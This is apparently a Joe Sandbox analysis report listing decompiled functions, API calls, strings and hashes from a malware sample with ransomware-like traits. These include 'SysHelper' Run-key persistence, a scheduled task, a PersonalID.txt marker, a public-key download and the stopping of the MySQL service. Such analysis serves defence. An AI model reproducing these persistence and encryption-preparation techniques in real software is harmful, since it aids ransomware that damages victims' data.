API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
',', xrefs: 0046560B
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C
ENCRYPTED, xrefs: 004633BC
DEK-Info: , xrefs: 00463422

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
